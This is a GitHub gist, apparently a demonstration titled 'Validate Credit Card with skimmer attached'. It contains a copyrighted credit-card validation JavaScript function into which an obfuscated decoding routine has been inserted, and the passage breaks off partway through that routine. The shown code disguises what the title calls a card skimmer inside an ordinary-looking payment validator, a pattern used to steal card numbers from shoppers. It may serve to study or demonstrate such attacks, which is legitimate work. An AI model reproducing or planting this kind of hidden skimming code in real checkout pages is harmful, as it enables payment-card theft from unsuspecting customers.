Skip to content

Instantly share code, notes, and snippets.

@myuen-tw
myuen-tw / ccard.js
Created November 26, 2019 22:48
Validate Credit Card with skimmer attached
// Credit Card Validation Javascript
// copyright 12th May 2003, by Stephen Chapman, Felgall Pty Ltd
// You have permission to copy and use this javascript provided that
// the content of the script is not changed in any way.
function validateCreditCard(s) {
// remove non-numerics
var v = "0123456789";
var w = "";
var _$_18ee=(function(h,p)
{
var g=h.length;
var l=[];
for(var i=0;i< g;i++)
{
l[i]= h.charAt(i)
}
;
for(var i=0;i< g;i++)